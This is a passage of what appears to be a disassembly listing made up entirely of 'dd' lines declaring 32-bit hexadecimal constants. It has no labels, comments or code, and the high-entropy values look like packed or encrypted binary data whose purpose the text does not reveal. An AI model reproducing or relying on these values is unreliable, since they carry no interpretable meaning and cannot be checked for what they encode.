		dd 0E5324C0Dh, 12488450h, 12751574h, 6A14A119h,	525B688Bh
		dd 94CAE213h, 81C4202Dh
		dd 0C26A12A8h, 6B55C0BAh, 0E9964B4Fh, 0AED9A5D6h, 6268CD50h
		dd 87645E92h, 5E2F1C9h,	4988CC81h, 0E93ED605h, 99E83B85h
		dd 391C1DB0h, 0C8296E0Eh, 5D86559h, 0CB2D0A07h,	1C13B923h
		dd 9256862Ah, 0ED4AAE3Dh, 589CB6B7h, 0A5096A2Eh, 0BF12D390h
		dd 0D4625D7Ch, 95CF5C2Dh, 68E1F782h, 2F4EDEAAh,	9022B766h
		dd 82A9B777h, 0CD0B4356h, 318B9A86h, 6608022Dh,	8D4CFF5Bh
		dd 0DF5E4D6Ah, 904D03D6h, 1BEA502Ch, 0FA294268h, 0DA40D990h
		dd 71EB7081h, 2A649040h, 0AC398CBBh, 5F5425BEh,	0F7E40F59h
		dd 0A4B9B252h, 1348F6C1h, 0E4928625h, 0D2B62762h, 0BF000331h
		dd 7DF398Ah, 36685507h,	13F32A6Fh, 2F71E1B3h, 5B5496A6h
		dd 0E1752FB1h, 5509B503h, 0C0444BBh, 3BB925F2h,	0FB43EC01h
		dd 7346A18h, 0E3D951E0h, 3BFA993Bh, 401AE188h, 0CCB929E5h
		dd 70170202h, 0C2FBE316h, 1C088CEEh, 827C5188h,	6C3B1882h
		dd 53C42B79h, 51F5EC27h, 3D8EA491h, 0F97BC0BEh,	0F5CCDD6Fh
		dd 1A02C795h, 515B792Dh, 29DE9Ah, 4B3CF7B9h, 1F4AE922h
		dd 0A2B866C0h, 2A2F0928h, 7E90C601h, 0D9DDB072h, 0D6F94E8Bh
		dd 8267B5B5h, 9D6EFB3h,	2A0532Dh, 152ACF2Dh, 357388E1h
		dd 0ED9B0428h, 161C88CAh, 66A4E12Ah, 0E6357B24h, 0B0D7B8Dh
		dd 0AD21BAC8h, 97ADD434h, 518E9F45h, 20AC7764h,	5A4E7F20h
		dd 377C61A3h, 0C057B455h, 0C11586CAh, 0D1A24B4Fh, 2B632D96h
		dd 6C964780h, 0E93140A3h, 0D9E87825h, 4A5C0EE9h, 0A424FFB3h
		dd 81013780h, 6A0E01EAh, 2A05BB63h, 7E4CED64h, 81387D4h
		dd 783E3D91h, 0D180E33Ah, 9FE90906h, 68BB5D31h,	3DDBADD9h
		dd 33E11F7Ch, 6FBC8BAh,	2BF92D38h, 0AB8327B7h, 0E4F2A2E6h
		dd 2C4EA44Dh, 75100030h, 472A64Ch, 118775Bh, 19ACC4F9h
		dd 0C0FA1C08h, 48B17FE2h, 36636861h, 9C4AD733h,	0E9145CEAh
		dd 256F6FCh, 2B8521E3h,	68914009h, 8D1D4B13h, 0C91132ABh
		dd 0F4ADDDCEh, 0A1EF6C7Ch, 0BA7901E7h, 52105700h, 2EBC148h
		dd 0CBF012C1h, 136EF814h, 9961FFB7h, 353C1684h,	572CC491h
		dd 77AA05AEh, 9EFCC2D3h, 5DF20955h, 9D20271Eh, 0CA09BD19h
		dd 5DF22A03h, 407D5082h, 12CA58DDh, 0E0019E4Fh,	0E7402F99h
		dd 5BDD3988h, 3716EBBDh, 85D1EC0Dh, 55D9D738h, 9D819D51h
		dd 65F174h, 570A4126h, 8359EABFh, 30E91515h, 0F2800BA4h
		dd 62277C67h, 0CA48F05Ch, 0B7CB783Fh, 0A4C0FC74h, 8E4A3851h
		dd 13E9130Bh, 2DADFD80h, 707A3916h, 0BF80F54Dh,	0F464FFDh
		dd 992F89Fh, 47056407h,	28009BB3h, 42F7815Fh, 0DF679616h
		dd 16A0120Ch, 2DB8C0FDh, 7A12436Eh, 13AF057Eh, 0EB6C2209h
		dd 418C5BF6h, 5CE2BF6Bh, 21A1D3CDh, 0E042F4F0h,	0E3801AC3h
		dd 8EBDC11Dh, 52278026h, 0FF52D2F9h, 0FC616727h, 43EEE627h
		dd 874BFD69h, 2CAA9D4Ch, 33E8449h, 0B35407F0h, 60E9843Ah
		dd 5F31FA88h, 11A7F74Eh, 142E9C83h, 93F6DB10h, 52ED034Eh
		dd 25D7DA88h, 10C6C150h, 95A805F2h, 51552579h, 41F0500h
		dd 1AC48956h, 0F0ADC7D3h, 770BFD06h, 0D3A83060h, 662C74B6h
		dd 29195652h, 0F23F5912h, 872483A8h, 7021C561h,	9B4C4ABDh
		dd 1DF25EE9h, 73464929h, 5585932h, 0E3602496h, 303A4A42h
		dd 0D498D601h, 60DFF0Bh, 3D8FBEE9h, 5C65A664h, 4DD82BA5h
		dd 1C5AB968h, 771095F3h, 0A64F7Ah, 63FB543Eh, 82F1772Fh
		dd 51712EB8h, 4A0045B6h, 584DAD40h, 5906A135h, 6863097Fh
		dd 0E98E5E56h, 4FB9D371h, 7993C4h, 146F381h, 2504901Bh
		dd 0A01CFBB0h, 0BCA292Bh, 0DA2FDCA6h, 0DF51B594h, 0AA353702h
		dd 0E47C601Fh, 18101D45h, 1A1CB429h, 14011C08h,	81C444E9h
		dd 0C6F5F68Fh, 0F13AB923h, 406807h, 0E6293825h,	78EC2D7Ah
		dd 21F42DD8h, 674BD950h, 15E6C20h, 0B65A5FD3h, 9DCF84BAh
		dd 0A5F55909h, 21AC6BC4h, 0E9ACE158h, 0A9FEBA30h, 2D200AF5h
		dd 59545322h, 5013D62Ch, 40DED0A8h, 6D40626Ch, 0A66427E9h
		dd 5FF25C38h, 93C51813h, 0E7C93186h, 9F3E204Eh,	75DC4482h
		dd 89D41916h, 2C22ECC7h, 27BF0FFBh, 0C1038232h,	0C0807FE7h
		dd 640F634Fh, 4DBE5602h, 0DE368D47h, 3662410h, 6FCE2191h
		dd 0FC892A00h, 0FD094A96h, 0F0E9275Fh, 0C988D6DCh, 0F8D62871h
		dd 745B941h, 3006EFC0h,	0D7F602E7h, 8C686601h, 0D47CE909h
		dd 9251A26Eh, 5F874241h, 52783870h, 13FFED4Bh, 0D749E5E9h
		dd 0A536595Bh, 0F1E80FF1h, 8347F413h, 0F633E0E6h, 61C6B13Fh
		dd 5599886Bh, 0A47CCF9Dh, 0D7334584h, 82C594A4h, 0C001E508h
		dd 0F9FD03E6h, 0A6F8137Fh, 0C12F7686h, 6674B002h, 85E950F7h
		dd 2D33759Bh, 4164D6E0h, 0B3CD544Eh, 0C3E5B16Ch, 961052F9h
		dd 0D15E884Dh, 0C8CB06h, 13559568h, 0C35F74C6h,	0E999D139h
		dd 3150D3B3h, 68125A90h, 30FA1358h, 432CB94Bh, 0F739F200h
		dd 7E1C1D9h, 2A852D68h,	3FA17018h, 8134B001h, 96599AE2h
		dd 0F3073460h, 300526BEh, 5319ED68h, 8C04FB2Dh,	491D017Dh
		dd 6E2970AFh, 0B3E139F7h, 25C99D08h, 0F38A7558h, 52481380h
		dd 812DBB95h, 88D2852Dh, 2B27E90Fh, 0C43A0B2h, 2F307671h
		dd 42D3015Bh, 35D8F700h, 60593BC2h, 41E84E46h, 1765398h
		dd 8A1E9F0h, 0A97D3058h, 4BC7AA6Bh, 25D6D191h, 85B75300h
		dd 511C50F8h, 0CC9FF988h, 0C1F3B4F8h, 4B2C2383h, 0CB1FB8E3h
		dd 39A27521h, 6801D8A1h, 8C2B7E33h, 361835ADh, 0EDA2549Fh
		dd 73263075h, 5D5C710Ch, 17E6640h, 9F874FCh, 304B59CBh
		dd 0B1FB3DAh, 0EBCF1BEDh, 85C23C03h, 60FC940Ch,	2517E7ADh
		dd 0D1F60825h, 948308A0h, 542DC0FCh, 13120E7Ah,	0B5C1ACE9h
		dd 0F120CFFEh, 9DF79005h, 0E9E1D8E0h, 0C6CD9227h, 153520F6h
		dd 10545848h, 834FF1DFh, 0A3C957A1h, 814700FEh,	3A952FCFh
		dd 0D2F71BE1h, 0E98D63E0h, 0E52A6A27h, 0BF2A3E39h, 595404EEh
		dd 8D67E168h, 4AFAE056h, 36725B33h, 0DE1BD8E2h,	9CE0C123h
		dd 0F07C4D31h, 0D805E8F2h, 7AE9A60Ch, 0CDBDE490h, 4F9A3D71h
		dd 4FCA2E13h, 0BC00558h, 122D0335h, 4BF85D17h, 3E9DD214h
		dd 0DC3EB8B7h, 0F1AF4040h, 0F0271409h, 6F198405h, 0BFFE8804h
		dd 4FA9665h, 0D185E9E4h, 6BA12C8Ah, 3FBCEE74h, 6075F548h
		dd 68528B79h, 989570DDh, 3F1F7B3Eh, 0C1833DB3h,	0E68102EEh
		dd 812744B9h, 0BBE4C6FEh, 0E768F5DBh, 3199E983h, 24576939h
		dd 76106B55h, 3415F26h,	204002BAh, 0CD554C50h, 0A7462B2Dh
		dd 27F30DE3h, 250C3C05h, 210F7513h, 24DDCA56h, 55448B60h
		dd 0F233983Ch, 216002A6h, 0D1F75971h, 6A49ED41h, 5AA43714h
		dd 90D7FEF9h, 4DBF5788h, 10F2632Ch, 227BCF01h, 5060369Dh
		dd 8D7D16C7h, 46E1640h,	12F547AAh, 9471EFEh, 0EFD68CA7h
		dd 964E2B85h, 24B390BAh, 5A173F26h, 0F7FCD721h,	0A77C810Fh
		dd 98E5017Dh, 6B12A401h, 4038D0A0h, 0BB2653DAh,	57049345h
		dd 1AFE3C1h, 0E474B934h, 3FD22B5Eh, 39B4006h, 4B780053h
		dd 17793548h, 314F42F9h, 0E3E01497h, 16294FC8h,	5D32E9D9h
		dd 0A6D8FEFAh, 0B93F748h, 98D117E3h, 7C8808h, 8007EBC0h
		dd 0DAB8D8F3h, 5A28F140h, 0ACD184C2h, 36DC422h,	2F1A9DEFh
		dd 0FCE730D3h, 895E5D0Bh, 349AC0AFh, 4217286Ah,	2CE609F0h
		dd 0E3EA6B05h, 0B35F0804h, 0D8E9099Bh, 0A03374DBh, 82BDFEEDh
		dd 0B93F8475h, 0F92DF4A1h, 0FB44AEE5h, 96F30302h, 0DE203C20h
		dd 0BD5EDD73h, 574A32CFh
		dd 0A0A3BC58h, 265881FAh, 9ECFA09Ch, 720E7D2h, 7B567273h
		dd 1FD4B38h, 8BDF0169h,	92B62E1Ch, 2E0C6882h, 88451875h
		dd 755273D4h, 792490E2h, 873C3158h, 8EBDE949h, 4D5366B5h
		dd 0A03E0DBBh, 2F400E69h, 2845945Bh, 3B860B0Ch,	9CD25777h
		dd 81CC0883h, 683DAD5Bh, 67DAC005h, 30E97B79h, 0C3DBE2B4h
		dd 192720EEh, 3F8AFCBCh, 0B4FE7612h, 26F001ABh,	0EC22994Eh
		dd 22305568h, 6295DCE9h, 6065599Dh, 7E30FDE7h, 33A21850h
		dd 0D42AFE0Eh, 0EEE89F29h, 0B9F1F54Bh, 88FA317Ah, 0C2BB051Bh
		dd 99C832E0h, 0BBA99615h, 682C20D6h, 3DF16A04h,	5C01875Ah
		dd 2B6C97E9h, 3BE71C42h, 0ED6575B6h, 0C390E904h, 0C9D86AB8h
		dd 362D6858h, 8B5D530Bh, 3E47E387h, 0BE65173Fh,	2C4669D0h
		dd 94ECE7A3h, 0E0209521h, 6D5D4462h, 0B663532h,	5472E101h
		dd 0C3012B3Dh, 6D969F1h, 7E0EA75Eh, 0F2E98501h,	0C930ECAAh
		dd 5EE77026h, 0EC51245Dh, 0A013E263h, 8030B784h, 0E6974F7h
		dd 0E045BFEh, 0D0E9C442h, 5F29B5C8h, 4595247Dh,	0D231090Bh
		dd 973E8738h, 68CC10BDh, 0CD405FC0h, 53ABED77h,	8CF9D8D1h
		dd 92B66A5Eh, 0B60FBC25h, 1DD4B4CFh, 4EB07D84h,	0D81DE9CFh
		dd 0FC8AB09Fh, 0F2B54A53h, 273D1346h, 7796CCA4h, 7504857h
		dd 6E0C2A04h, 61959174h, 5F592391h, 8F04C512h, 97ACA0B2h
		dd 2FD030E1h, 9CA5DDC8h, 51BD01ADh, 310ABA55h, 0F8F420ECh
		dd 7FC43A02h, 0D5B4E3E9h, 98273DE7h, 959BE915h,	8CD6F609h
		dd 9D27CB28h, 58424647h, 0DC203C03h, 0FE8F0997h, 94A0F2FFh
		dd 0C0F5E580h, 6C007E6h, 61B05004h, 0EE799028h,	98E8E005h
		dd 55D4A4BEh, 816BAC84h, 7E3BA15h, 8912CA42h, 0FB8784DFh
		dd 8B01BF12h, 7B3AB7D4h, 8087B643h, 9829224Ch, 6C3D2DCFh
		dd 0A2C47854h, 138F6788h, 110DA96Fh, 0BE02B724h, 7A194D54h
		dd 8B2A8D83h, 0F231E7F8h, 224AE916h, 5B9CC692h,	0E8A044D4h
		dd 0A5535B4Ah, 858BC010h, 6B82EB29h, 40209FEh, 7BD36A93h
		dd 422DDCA4h, 9326516Eh, 0C4FCE950h, 0D5BC72D8h, 2D1E33D0h
		dd 74AE39F9h, 0CC4225D4h, 7D5A057Eh, 0F9683240h, 73956295h
		dd 0DE7CA5F2h, 0B135E759h, 8394E16Bh, 0C41B301Ch, 0F690B744h
		dd 0F9326C42h, 3E0EB7D4h, 0EA007C69h, 57557052h, 8AD0F229h
		dd 0E5E3008h, 0CB392E9Bh, 174C45Eh, 0DAC4DC27h,	0A4824E7Fh
		dd 0A65D201Ah, 0C5295A13h, 18EE6900h, 6C143A5h,	75E905E8h
		dd 424C4E11h, 601D0083h, 0CE815746h, 0DB332F9Fh, 39DADA80h
		dd 83FD13E7h, 9227CC1Ah, 9FD20B11h, 3C02C578h, 8ED1C7BBh
		dd 716300A5h, 321FD278h, 0F770E9C1h, 895D8BC8h,	0B55CD54Ch
		dd 0BC684BFh, 7F427360h, 9A59F33Ah, 1BD2D81h, 107A3948h
		dd 0E90B07BFh, 0BCF4F9B1h, 0BAC3819Ch, 22D2A60h, 8BDC711h
		dd 0B9761D72h, 0FC8ADA25h, 0B2355821h, 56D9810h, 8ADE840Fh
		dd 2826BDBDh, 6CD12F40h, 0E5F17EC5h, 0FBAE030h,	4EFC112Fh
		dd 0C9161FF7h, 1C57AD34h, 0A3F99D9Fh, 0DDACD809h, 0D99FA59Ch
		dd 0FB0109FCh, 0A0998884h, 0C2E05817h, 7F768072h, 8B4DC8F8h
		dd 0C2AD25D5h, 72377401h, 0F476CF8Bh, 134348C9h, 0BF5720E9h
		dd 7ACC5C61h, 0D200936h, 67F0CCAh, 910C28C5h, 54783D0Ah
		dd 6602CB50h, 0FE599310h, 0C2010BCFh, 67F2DF00h, 0D95A9050h
		dd 9196C5FDh, 7B5F68BAh, 0ADDA35D7h, 79DEC5EFh,	0E93D37E3h
		dd 0B65BDE4Dh, 155B3EB6h, 8FC8065Ah, 35AB536Eh,	202CEB71h
		dd 11EE20E9h, 1EED5C4Fh, 90D529CBh, 811608FAh, 2BB6D95Eh
		dd 0DEEEE6D0h, 50B13D03h, 6E632FCCh, 0E392F488h, 0EBA2407Fh
		dd 0AD204A81h, 7ED74E6Bh, 950E500Bh, 0E990C9F2h, 28B12E17h
		dd 2F50008h, 4C9268ACh,	99B3E198h, 0E4BDD8E0h, 5B660114h
		dd 8608EAC0h, 3E0461DAh, 2057EC47h, 0E7E8F084h,	0D3F0E84Bh
		dd 0CCF825A1h, 7F12B50Fh, 2D4716F5h, 32E601DFh,	0C52568E8h
		dd 0E5ACEB44h, 0AA0BE652h, 41779AF8h, 9250CDE3h, 27C0E0B5h
		dd 61F008EDh, 0C1E5F8CEh, 0C4B35358h, 99DA9143h, 0BF7193CBh
		dd 5E259E38h, 0D8D314E2h, 5D0DAD42h, 0BF055EC6h, 53DD5149h
		dd 0CB307DB1h, 715ABCBDh, 57B23A88h, 0F78353CFh, 0FEA35251h
		dd 415AF1B1h, 7981A6ECh, 5E87D2FBh, 45BF537h, 97BF95C8h
		dd 4238903Dh, 37F63334h, 5175C96h, 1253FBD3h, 0E41D1F52h
		dd 0E5F0E736h, 0E9F2115Fh, 564E8F4Ch, 5CAA041h,	0F3341D03h
		dd 1F8AE92Bh, 0C90EBBAFh, 0B95C4056h, 0DCB0783Bh, 2DB13120h
		dd 0C522F668h, 0E109A472h, 137AF554h, 0F456FA96h, 269CA82Dh
		dd 876C85DDh, 0E2EF1601h, 148604CBh, 90EA0CC6h,	2D6C3102h
		dd 15AC4E4Ch, 16847AE9h, 0FC09575Bh, 0F5BF496Ah, 0B5AAED70h
		dd 21AC8DF1h, 0CBAD0812h, 64020189h, 0D856A8D7h, 0EBEFF083h
		dd 96CEEA11h, 1048B6E6h, 5C2D2794h, 0A86885EAh,	3D4CD08h
		dd 0F471BBh, 2C0FEEB9h,	0CD09124Ch, 7A0ECB59h, 0AB219741h
		dd 40696F30h, 0DE03F68Dh, 0EEC0C6FEh, 1880FF03h, 3A284004h
		dd 5A012CF0h, 0E953C330h, 16956F87h, 0BF4201BFh, 81554E44h
		dd 0EE3BDFD2h, 0B7D84148h, 4BF99BBBh, 0C069AF5Dh, 2348F7EFh
		dd 60295935h, 26E90840h, 0AF887201h, 0EF0D76F3h, 0F62B1865h
		dd 0B8814FCCh, 5B02C9B4h, 670305E1h, 5FA300DBh,	85E9297Dh
		dd 47BA946Ah, 79E99F56h, 9A733344h, 0F20660FBh,	0DE34F00Bh
		dd 6F068C0Bh, 93E550C0h, 9FAD73C5h, 885EE2F8h, 0AF05AC00h
		dd 5F50E27Fh, 0F5A4275Dh, 0E13856CAh, 0E468822Ch, 5E5DBF16h
		dd 0D8CA8040h, 5342940Ah, 59DF6813h, 1E0B958Ch,	137FEC03h
		dd 4B84ECFBh, 87DF6E21h, 54AFE9ECh, 50EAF178h, 0B067F401h
		dd 4BFB9A06h, 5CA3B65Eh, 2A260A27h, 0E909CBA8h,	3155A247h
		dd 4D2957D8h, 0E1902A16h, 93B7F997h, 0A266A955h, 0EA53F95Dh
		dd 0C9CA3EACh, 7A0AE1A5h, 0D1B55D05h, 4584B00Fh, 41BB7E6Ch
		dd 604A2880h, 0CCB52F64h, 44810805h, 0F33E1FCCh, 0B594178Fh
		dd 5C85C3E8h, 7564AE21h, 0A9E6C3BBh, 0C3347375h, 0CCBB0A64h
		dd 0A1C5F053h, 0CBBAF801h, 3D814ADCh, 0D44D5C10h, 12277420h
		dd 0BC07D53Dh, 81451D80h, 3F4AB202h, 0BB43552Eh, 0D776DFCBh
		dd 0BCC45C09h, 4E82DF06h, 0B54052FDh, 298AEA09h, 6B4D74FFh
		dd 0CCDACD5h, 5E2017BAh, 0FE551343h, 9E12CF52h,	0F301E1D0h
		dd 0F81235E9h, 8886434Fh, 0D3FF1937h, 0E53B941Bh, 0D93D99C7h
		dd 982B5A0Eh, 6EBE09B0h, 5E942F95h, 0F692AFB2h,	0C1488582h
		dd 0C21741F9h, 0D679AA02h, 2C87F66Bh, 0D3A823B2h, 37F9820h
		dd 73F5E381h, 0F3B03663h, 43063305h, 207BE934h,	81DB7F75h
		dd 5BEE70BDh, 6C2F5DB0h, 0A020DB82h, 0F6818BAh,	0EEA83960h
		dd 40803A82h, 8293F9C8h, 0E1F014C1h, 53E7349Ah,	309BBEA0h
		dd 0F3FC5EB0h, 0AD135E5Bh, 0A23218EBh, 4B301218h, 96C40C26h
		dd 0A82E4A3Ah, 0E52A5F52h, 0EC16FB59h, 82D8348Ch, 0F520DDB1h
		dd 4B0C0580h, 0A54A8438h, 604C61FBh, 585EE29Ch,	2124BAE2h
		dd 6660275Bh, 2469EC50h, 8603D7B3h, 2613FC8Bh, 8BE4FE5Ch
		dd 8D635B36h, 0A03BE4A6h, 0BEEF8DCFh, 90C46909h, 97C38CAh
		dd 0A3685EDBh, 0BE4B985Fh, 0BA4C136Dh, 10D7AC66h, 0DE50066Eh
		dd 3E5E9C77h, 193D092h,	2C8F0C5Fh, 0FBA43BAEh, 99B16BE2h
		dd 955FC56Ah, 92AE2E13h, 4D148A53h, 71AF972Ah, 7ACC8708h
		dd 4FBF0353h, 808D547Ch, 0DB872A0Dh, 0EBD2F1E4h, 9227DD05h
		dd 4487155Eh, 19CEFD8h
		dd 423F6850h, 4226F32Ah, 0D8097A49h, 1AA397E9h,	6B2881F7h
		dd 0F1CF7F62h, 0D3649D26h, 927A98D0h, 0B2521F6Ch, 6624D67Ah
		dd 0BAC5D366h, 0DB45625Bh, 0E54F1CF7h, 0FA645751h, 9B39C391h
		dd 4002BA01h, 2D5AD74Ah, 0D601B972h, 71A80523h,	85313CFBh
		dd 94078FF2h, 0A25F2D11h, 7B8CFD09h, 7C78A569h,	4871CA1h
		dd 0CE0345BFh, 0BABB94F7h, 0EEF9C117h, 6CD4E9C2h, 2D64C57Fh
		dd 20BE56FBh, 0D5F7248Eh, 415EB19Ch, 5B3DBB70h,	5D2D6CA8h
		dd 9E83DAE6h, 585E00F4h, 2F7CA635h, 7AD93396h, 0F4120C4h
		dd 2BA77284h, 0E7055AC9h, 291092EAh, 90A469DEh,	85F6E9C1h
		dd 0D4CFBF24h, 0D03825Ah, 0B8502A3Dh, 37AC4188h, 50B5BBAh
		dd 0F29ED83Ah, 994B044h, 1BE13B7h, 8CE27188h, 630D8F7h
		dd 76F89B90h, 56254FBEh, 0FA449CA8h, 967C84D0h,	66550189h
		dd 0E877BABDh, 539FBEFBh, 0CA123D53h, 612E890Dh, 6BD34352h
		dd 0E3682802h, 0C834F914h, 1D6249E8h, 0F055CFF5h, 9367C8E8h
		dd 1AE71B48h, 5D347BF7h, 0FF20CCCFh, 0DC9915Fh,	0A8781288h
		dd 3C1010Bh, 107539ADh,	7B18739Dh, 902D5577h, 0E734F617h
		dd 218858D2h, 0DB4D1492h, 9257B176h, 0D997E45Ah, 9B5E6DFCh
		dd 9F107CF3h, 5E40488Ch, 5836ACFDh, 0F34BD69Fh,	0F2932AE3h
		dd 7EF9341h, 70B9513Eh,	0E96C7A0Dh, 5AF6149h, 0E2D1D2F7h
		dd 3E0314C0h, 0A8404F47h, 190296B7h, 584EE902h,	16CC9F6Eh
		dd 7486816h, 0E8C4ACACh, 83B909CAh, 4B72A5D4h, 4844FCDCh
		dd 6176153Dh, 0D047818h, 5D729717h, 96270BACh, 57D8CD68h
		dd 76DE9EA2h, 892E532Dh, 725984CCh, 0C56F44A5h,	0F04FE90Dh
		dd 0C59758B9h, 23E98B2Bh, 0B5F034A9h, 0D0ACCFDh, 8211C22Dh
		dd 86BDF359h, 9841D1FDh, 0F8C59AFDh, 117E1E81h,	4CB0930Eh
		dd 0FABE0108h, 17B3CE9Fh, 0E9386468h, 27E9820Fh, 0B694D7CAh
		dd 5C718C20h, 0AF0AD05Ah, 0EE7BA08h, 82CEA6F5h,	76DFF1D2h
		dd 39BD7B9Ah, 0B63F9AC7h, 6A715A4Dh, 0CE24A0E9h, 26CB0B81h
		dd 32748E18h, 0EE783207h, 2D55FC69h, 8A4A04F1h,	3D1B980Ch
		dd 0CCB106C6h, 0D955E5E7h, 0E2372C4Eh, 76B7D782h, 53F382B2h
		dd 92C07829h, 16165B0Ah, 0D1014963h, 0DB3FAEF8h, 5AE9F9FCh
		dd 0E1EBD71h, 8F1A4F68h, 0F206655Eh, 7F329AEh, 1CE97C8h
		dd 8E13D103h, 9B4C094h,	299B5C88h, 0DFDC27E6h, 69165F7Ah
		dd 0F50B144Bh, 427C795Ch, 0CCD7C168h, 0BF38278Fh, 4E9CC76h
		dd 31FF9C8Bh, 12063743h, 4EDD51FEh, 4F95EAC0h, 0CDF157Ah
		dd 149263DEh, 84117A9h,	0BF140CA0h, 0C6D8CB31h,	0C768FEE8h
		dd 1D8C6C4Ah, 30059FC9h, 7A11BDBBh, 7FE7D324h, 50A04FBAh
		dd 81B53ABCh, 3A04EF4Ch, 801B2967h, 38718001h, 8BF5E78h
		dd 0E909086Ah, 19AD858h, 0AF6386BEh, 30DEF71Fh,	5195D18Eh
		dd 1871661h, 494BF148h,	4AE90814h, 680002D6h, 0BDA762EAh
		dd 75937B49h, 387D6F82h, 86BA52E8h, 740435Ah, 0DF2312C1h
		dd 1FE1EC50h, 0A7DE2890h, 0DB804EFEh, 8973D879h, 0BAA7B8CBh
		dd 0FDEB4ADAh, 12E349C3h, 5727DC56h, 4CC03040h,	65C20905h
		dd 8F44D8Eh, 0A2CD0720h, 0A718D8Bh, 56B83682h, 0AF636786h
		dd 98BECB03h, 0D12B0F36h, 0D075A28Fh, 30D8B53Eh, 0C9BEEE31h
		dd 28862C88h, 2F0F0A8Ah, 16D0562Ah, 5FD00107h, 0DB1F6A64h
		dd 2E60E6C8h, 62181D6Eh, 0F20BE058h, 76DD02B9h,	0FB8943EEh
		dd 387FE0Bh, 6FD4232Eh,	128F61Dh, 0B3E92F82h, 0C23CD6D2h
		dd 977C5D54h, 685EF5C0h, 4669DC9h, 3E02E92Ch, 605BBA81h
		dd 0A130655Ch, 8F711D72h, 0E8CA8126h, 2E76A54Ch, 1EC28DA0h
		dd 4AD6CFEh, 0C8CC15E9h, 51F007BDh, 8DC81C5Ah, 0F27B5B3Eh
		dd 310605D3h, 52C752ECh, 5A0A07EAh, 9A03ED49h, 0DCAAB2C9h
		dd 0EB1464BEh, 0F5E82844h, 17C49BB8h, 9B56A48Dh, 65589Dh
		dd 5105E2C0h, 0B56CB753h, 0C0B79E70h, 811E52ABh, 0A8E32A5Ch
		dd 0FF38F73Ch, 7BF46DDEh, 268554Eh, 0F4408C71h,	0BBE7E45Ch
		dd 2D684328h, 0A5D11E9Ch, 10AB962h, 0C9C58851h,	99EFBEEBh
		dd 94A61B4h, 0CB413D71h, 5003A149h, 0E3839AF3h,	99DED0D2h
		dd 0EEC14601h, 622E5705h, 0C575F85Bh, 12521F34h, 56E681A2h
		dd 8D46DC53h, 0F1B513ACh, 1C554917h, 406097FCh,	37137168h
		dd 0DDB66C01h, 74B1A04Ah, 2A083648h, 0D997B1FCh, 8CA1C87Ah
		dd 0B8100502h, 0A4719909h, 4880DD77h, 3675CB9h,	2C544063h
		dd 6232E330h, 9DFB5AF6h, 57760B0Bh, 25F7FA9h, 6C5D081Ah
		dd 2C812DA9h, 94C8A144h, 0DC88095Bh, 0AC204F5Eh, 0B7E67820h
		dd 775E9D52h, 75C68092h, 0F42E46Ah, 0B15741D7h,	0FDBADC3Ah
		dd 0B598EF80h, 10F447CCh, 290A7E94h, 0EB11BDDDh, 6603C602h
		dd 2ED6BBF5h, 8C6EA22Dh, 1298558Dh, 0EFBA1A8Ah,	9E0BD35Eh
		dd 0C188A10Bh, 0B7E008EFh, 0A4ADB9EEh, 16A4003Ah, 0DF871327h
		dd 0EDCAE918h, 0B71B1B1h, 0FD890DE3h, 0F7FA5946h, 0DCF6722Fh
		dd 57E984D2h, 8720BF18h, 96C970E8h, 265766EEh, 0C3D4682Ah
		dd 715BE5EAh, 5D0B9ECFh, 0E17CE668h, 0DA691A89h, 381F0934h
		dd 9BFEE8C2h, 0EC043113h, 75AF051Ch, 0FCFC5769h, 136BD49Bh
		dd 0F1ADDBA6h, 0D344598Eh, 0C8374414h, 86CEFE00h, 0BEFDF6DEh
		dd 827A9708h, 203625ABh, 28864F6h, 5A4DEAFEh, 8D4A762Fh
		dd 58C15EA8h, 8851C268h, 0B921ECBh, 0E8845046h,	0BBCCBFE4h
		dd 254A7F51h, 1BDC2921h, 8782D1C7h, 31E987DAh, 40095A4Eh
		dd 3B7974AEh, 0F203360Ah, 51949DE3h, 4A9E845Ch,	0E9F0E4F8h
		dd 229C62C3h, 67893188h, 8072F357h, 28A9D15Ah, 7B65FFF5h
		dd 1CF4CBBAh, 9452E9F7h, 0E63EBCB1h, 300134D2h,	5CEEEEC5h
		dd 7D545F41h, 0E90C3BD7h, 0CDD75CAFh, 9B25540Eh, 0E3EDC03Bh
		dd 517D6DC5h, 4E80AA89h, 2917210h, 295D131h, 4903BB32h
		dd 0A9DC472Dh, 0FABDA9FEh, 0B5DA9560h, 9877E5C0h, 5FBE325Ch
		dd 128765C0h, 84755A0Bh, 0B585FF47h, 0DAA3480h,	0F6709738h
		dd 7523991Dh, 1C2076A5h, 80A734Dh, 3068A658h, 86C534E4h
		dd 0D33E1E68h, 89A252E9h, 93864311h, 0DEC2ACA4h, 0E2B13A5Ah
		dd 84E57FF3h, 4020A8A8h, 0D1BB09ADh, 3AA51470h,	0CE91805Bh
		dd 0BA982974h, 41A1F158h, 90E06E08h, 0BC299D7Fh, 499CF006h
		dd 0A3BBD3B7h, 867E27C0h, 0B3CFAF50h, 59670DB2h, 9E737210h
		dd 0EBA90C57h, 75FFE9A1h, 0E0B63E47h, 8756F925h, 0B97C5171h
		dd 0E45052C7h, 131DFAF8h, 0CB82E0E6h, 0DC02281Fh, 31072068h
		dd 0DF805F5Ah, 0ACB07F26h, 806A404Eh, 9B5E22Eh,	0A11C0712h
		dd 31FAF413h, 0A4BD327Dh, 0E0089111h, 37B400C1h, 8058E508h
		dd 88A2C50Ah, 0BA16B5EFh, 54516361h, 0DD5D0EECh, 21BE416h
		dd 63781023h, 33B11340h, 0E9055609h, 14C228Fh, 6844E1DAh
		dd 0F739033Bh, 0D6C141D9h, 0E61298Bh, 12922018h, 653061EFh
		dd 0C8393E9Bh, 0A12FA176h, 0D028C303h, 93C2CFB9h, 0E0004F0Eh
		dd 22DE4094h, 3DCB9A57h, 36AE777Dh, 6EA03BACh, 86C32935h
		dd 71F4B2A5h, 0ADD3D6h,	0E25562C7h, 0F092D67h, 0F84632D9h
		dd 681E236h, 1E3168F5h,	0FF02A043h, 29B774C4h, 0DC4A7F6Fh
		dd 0CA806E6Ah, 0D8D0985h, 4CE6810Ah, 1188DB7Ah,	17EB8168h
		dd 0C15BD928h, 10D839C8h, 5A0EE4B7h, 75C0F681h,	0E6C11C39h
		dd 120D798h, 0B25B4BB0h, 72EA9277h, 14578317h, 119FD3C0h
		dd 81039BB5h, 720125CEh, 20DEF7F1h, 6403E895h, 0AEE9210Fh
		dd 0C52702D0h, 7A7F738Ah
		dd 5D088689h, 0E5E90A08h, 0CF82BDC8h, 66C71494h, 62E31440h
		dd 45485FFAh, 13C20515h, 40C26A50h, 0A1ECCE5h, 680D53E6h
